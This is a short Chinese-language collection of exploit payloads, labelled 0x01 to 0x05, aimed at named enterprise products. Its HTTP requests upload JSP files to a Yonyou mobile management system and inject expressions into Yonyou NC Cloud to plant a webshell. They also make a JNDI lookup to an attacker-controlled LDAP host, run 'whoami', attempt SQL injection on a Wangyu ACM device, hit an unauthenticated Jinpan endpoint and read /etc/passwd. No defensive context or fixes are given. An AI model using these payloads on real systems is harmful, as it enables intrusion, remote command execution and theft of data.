0x01 用友 移动管理系统 uploadApk.do 任意文件上传漏洞

POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1 
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO 3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server 
Connection: close ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3 
Content-Disposition:form-data;name="downloadpath"; filename="test.jsp" 
Content-Type: application/msword 

1234
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--

0x02 用友 NC Cloud jsinvoke 任意文件上传漏洞

POST /uapjs/jsinvoke/?action=invoke
Content-Type: application/json
{
    "serviceName":"nc.itf.iufo.IBaseSPService",
    "methodName":"saveXStreamConfig",
    "parameterTypes":[
        "java.lang.Object",
        "java.lang.String"
    ], 
    "parameters":[
        "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
        "webapps/nc_web/407.jsp"
    ]
}

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: 
Connection: Keep-Alive
Content-Length: 253
Content-Type: application/x-www-form-urlencoded

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}","webapps/nc_web/301.jsp"]}

访问/cmdtest.jsp?error=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(%22whoami%22).getInputStream())

0x03 网御ACM上网行为管理系统bottomframe.cgi SQL注入漏洞

GET /bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23

0x04 金盘微信管理平台getsysteminfo未授权访问漏洞

url+/admin/weichatcfg/getsysteminfo

0x05 Panel loadfile后台文件读取漏洞

POST /api/v1/file/loadfile

{"path":"/etc/passwd"}